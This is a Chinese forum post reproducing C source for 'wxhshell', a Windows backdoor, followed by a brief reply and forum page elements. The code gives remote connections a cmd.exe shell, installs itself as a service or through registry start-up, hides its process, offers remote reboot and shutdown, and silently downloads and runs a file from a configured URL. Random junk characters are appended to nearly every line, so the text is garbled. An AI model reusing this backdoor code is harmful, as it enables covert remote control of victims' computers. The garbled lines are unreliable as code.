  } N~=I))i  
  else { cK1^jH<|  
]Kq<U%x$  
    switch(cmd[0]) { 4 -tC=>>wc  
  32 i6j  
  // 帮助 [cnu K  
  case '?': { VP A+/5TW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z}$sY>E  
    break; [<53_2]~  
  } wL8j i>"  
  // 安装 )oCL![^pXe  
  case 'i': { jM$bWtq2  
    if(Install()) @~$d4K y<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SvSO?H!-  
    else #S?^?3d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C<J*C0vQO  
    break; k";dK*hD,  
    } 72Bc0Wg  
  // 卸载 B9NUafK=  
  case 'r': { 0E26J@jcZ7  
    if(Uninstall()) 3`reXms*{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z]N#.utQ  
    else zU!{_Ao9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eWDXV-xD  
    break; :o^ioX.J  
    } &pzL}/u  
  // 显示 wxhshell 所在路径 I]eeV+U8W  
  case 'p': { +1T>Ob;hk  
    char svExeFile[MAX_PATH]; V| Fo@  
    strcpy(svExeFile,"\n\r"); r7W.}n*  
      strcat(svExeFile,ExeFile); =Oy&f:s  
        send(wsh,svExeFile,strlen(svExeFile),0); 3yRvs;nWS  
    break; zY\u" '4  
    } ;t+p2i  
  // 重启 vy~6]hH  
  case 'b': { %EU_OS(u.{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FL\pgbI  
    if(Boot(REBOOT)) AHs%?5YTY;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -E\G3/*51  
    else { @\F7nhSfa  
    closesocket(wsh); M%_*vD  
    ExitThread(0); Mi.2 >  
    } ,5zY1C==Ut  
    break; aiX&`   
    } GImPPF  
  // 关机 ^*l dsc  
  case 'd': { 0E#??gN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BaIpX<$T  
    if(Boot(SHUTDOWN)) nq?+b >//  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RTVU3fw  
    else { 4Vi*Qa_,y  
    closesocket(wsh); =b$g_+  
    ExitThread(0); 7Z2D}O +  
    } w aniCE o  
    break; m)6 6g]F+  
    } Z]Xa:[  
  // 获取shell qGag{E5!  
  case 's': { YL*FjpVW  
    CmdShell(wsh); >A D!)&c  
    closesocket(wsh); e- `9-U%6  
    ExitThread(0); /{buFX2"}  
    break; yI8 O#  
  } 'E#L6,&  
  // 退出 H 2I  
  case 'x': { !KXcg9e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kq=Htbv7  
    CloseIt(wsh); t'Yd+FK   
    break; (zsmJe  
    } aW:*!d#  
  // 离开 >AV9 K  
  case 'q': { 3q/"4D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g.Ur~5r  
    closesocket(wsh); G0: <#?<5  
    WSACleanup(); w@2NXcmw  
    exit(1); 4;~xRg;u&*  
    break; W\B@0Iso  
        } :@ &e~QP(  
  } 2A  
  }  ^4WZ%J#g  
Ow?~+) 4  
  // 提示信息 ]z7pa^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wp = ]YO  
} ~Fvz&dO  
  } kxe{HxM$Z  
)%Xp?H_  
  return; 9ox5,7ZQ  
} Y_$!XIJ4  
SgQmR#5  
// shell模块句柄 -GL.8" c[  
int CmdShell(SOCKET sock) nUq@`G  
{ G@rh/b<$  
STARTUPINFO si; _Hq)@A I   
ZeroMemory(&si,sizeof(si)); *@lVesC2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lnl>!z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c;b<z|}z  
PROCESS_INFORMATION ProcessInfo; f~?5;f:E  
char cmdline[]="cmd"; Yc[vH=gV}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p&(z'd  
  return 0; mtFC H  
} meB9 :w[m  
#( 4)ps.  
// 自身启动模式 'U@Ep  
int StartFromService(void) Rz>@G>b:  
{ vG}\Amx+  
typedef struct P5XUzLV L  
{ N}z]OvnZH  
  DWORD ExitStatus; !+hw8@A  
  DWORD PebBaseAddress; !Y^B{bh  
  DWORD AffinityMask; Ey&A\  
  DWORD BasePriority; o 8^!wGY  
  ULONG UniqueProcessId; AA|G &&1y  
  ULONG InheritedFromUniqueProcessId; 9Z2aFW9  
}   PROCESS_BASIC_INFORMATION; =;8q`  
4tiCxf)  
PROCNTQSIP NtQueryInformationProcess; V,7Xeh(+5L  
kU)E-h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v~^*L iP+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >4lA+1JYk  
] C_$zbmi  
  HANDLE             hProcess; /#x0?d {5  
  PROCESS_BASIC_INFORMATION pbi; ;cv\v(0  
)1 0aDTlr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QSYKYgxC  
  if(NULL == hInst ) return 0; `+(JwQC4  
j}%C;;MPH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kzKQ5i $G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sBN4:8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pR:cnkVF  
"8[Vb#=*e  
  if (!NtQueryInformationProcess) return 0; rj eKG-Z@  
ui*CA^ Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x5yZ+`Gc  
  if(!hProcess) return 0; "aGpC{  
G;msq=9|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]\=M$:,RZ  
{M0pq3SL*t  
  CloseHandle(hProcess); JR/^Go$^  
Q0_|?]v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `ucr;P  
if(hProcess==NULL) return 0; ")qO#b4  
0K^G>)l  
HMODULE hMod; (Bfy   
char procName[255]; #w]:<R^  
unsigned long cbNeeded;  gY@$g  
+(2mHS0_a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1j^FNg ~  
A|GheH!t  
  CloseHandle(hProcess); O7Awti-X  
D)LqkfJ}z^  
if(strstr(procName,"services")) return 1; // 以服务启动 kKSn^q L*  
$Xo_C_:B  
  return 0; // 注册表启动 Qte'f+  
} `ZAGseDd~  
Kd,7x'h`E  
// 主模块 )e:u 6]  
int StartWxhshell(LPSTR lpCmdLine) >RT02Ey>  
{ !~aDmY 2  
  SOCKET wsl; (A8X|Y  
BOOL val=TRUE; U_c9T>=  
  int port=0; M&O .7B1}  
  struct sockaddr_in door; ,U/ZG|=v  
fDY#&EO: %  
  if(wscfg.ws_autoins) Install(); E MKv)5MH  
G8oOFBQD  
port=atoi(lpCmdLine); Cy##+u,C  
Y)4&PN~[  
if(port<=0) port=wscfg.ws_port; 9ozUg,+Z|J  
Z:}d\~`x$%  
  WSADATA data; "#mr?h_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p} }=li>  
6<<ihm+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :Yqi5CR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A#j'JA>_  
  door.sin_family = AF_INET; p1L8g[\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gv w:h9v  
  door.sin_port = htons(port); { wx!~K  
Y/_b~Ahn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  qTL]  
closesocket(wsl); @'EU\Y\l  
return 1; J0M7f]  
} n-n{+ Dl!  
@9^ozgg  
  if(listen(wsl,2) == INVALID_SOCKET) { dRXF5Ox5K}  
closesocket(wsl); PNn{Rt  
return 1; {1V~`1(w  
} r4h4A w{  
  Wxhshell(wsl); ga~C?H,K  
  WSACleanup(); gUB%6vG\I  
u<l[S  
return 0; Rj9YAW$  
257pO9]  
} fE;<)tU  
wBUn*L  
// 以NT服务方式启动 r-s.i+\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hYMo5?  
{ V!F# ek:  
DWORD   status = 0; y pv~F  
  DWORD   specificError = 0xfffffff; kw>W5tNpf:  
I=)u:l c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0[JJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Oozt&* F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YULI y-W  
  serviceStatus.dwWin32ExitCode     = 0; CD'.bFO^+T  
  serviceStatus.dwServiceSpecificExitCode = 0; *eAsA(;  
  serviceStatus.dwCheckPoint       = 0; MV<2x7S  
  serviceStatus.dwWaitHint       = 0; "RH pj3 si  
)V<ML7_?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YzqUOMAt"V  
  if (hServiceStatusHandle==0) return; w]hs1vch  
|?=K'[ 5  
status = GetLastError(); LwV4p6A  
  if (status!=NO_ERROR) #MbkU])  
{ I dsPB)k_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o.ntzN  
    serviceStatus.dwCheckPoint       = 0; _H9.A I  
    serviceStatus.dwWaitHint       = 0; XjL)WgQ{i  
    serviceStatus.dwWin32ExitCode     = status; 82.::J'e  
    serviceStatus.dwServiceSpecificExitCode = specificError; A~_*vcz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d7.}=E.L  
    return; LE!xj 0  
  } X!,2/WT  
wJs #rkW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J3OxM--8"  
  serviceStatus.dwCheckPoint       = 0; eM";P/XaX  
  serviceStatus.dwWaitHint       = 0; *w> dT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E-Nc|A  
} Cku#[?G  
tA2Py  
// 处理NT服务事件,比如:启动、停止 fk5xIW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1 PL2[_2:  
{ w\o?p.drp=  
switch(fdwControl) [&e|:1  
{ ]W^F!p~eC  
case SERVICE_CONTROL_STOP: zq 1je2DB  
  serviceStatus.dwWin32ExitCode = 0; 9K]Li\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WrB:)Q(8=  
  serviceStatus.dwCheckPoint   = 0; J?]wA1  
  serviceStatus.dwWaitHint     = 0; =hZ#Z]f  
  { AgEX,SPP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cR'l\iv+  
  } }H^h ~E  
  return; 3q'["SS  
case SERVICE_CONTROL_PAUSE: q~esxp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a8D7n Ea  
  break; =lB +GS%  
case SERVICE_CONTROL_CONTINUE: z TYHwx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,sw|OYb  
  break; -BQoNEh  
case SERVICE_CONTROL_INTERROGATE: +rAmy  
  break; =E6ND8l@2  
}; =geopktpf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b 6kDkE  
} &B1j,$NRc  
\9 ,a"g  
// 标准应用程序主函数 WP5cC@x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b |SDg%e  
{ $('"0 @fg  
bwrM%BL  
// 获取操作系统版本 z) :LF<  
OsIsNt=GetOsVer(); 7+!FZo{?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bVLBqa=  
k^VL{z:EWB  
  // 从命令行安装 eELLnU{"  
  if(strpbrk(lpCmdLine,"iI")) Install(); .rPg  
?04jkq&  
  // 下载执行文件 u[:-^H  
if(wscfg.ws_downexe) { DT;n)7+,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wi U-syNh  
  WinExec(wscfg.ws_filenam,SW_HIDE); kAV4V;ydh  
} V;pR w`  
.-Z=Aa>  
if(!OsIsNt) { NqlU?  
// 如果时win9x,隐藏进程并且设置为注册表启动 :9H`O!VF  
HideProc(); 4h*c{do  
StartWxhshell(lpCmdLine); h5)4Z^n  
} $.Ia;YBf  
else QLm#7ms*y  
  if(StartFromService()) (G6lr%d  
  // 以服务方式启动 ] /"!J6(e  
  StartServiceCtrlDispatcher(DispatchTable); (X?HuWTm  
else "cZ){w  
  // 普通方式启动 7+NBcZuG9  
  StartWxhshell(lpCmdLine); i,h)V Cc  
m2a [ E0  
return 0; ul-O3]\'@  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八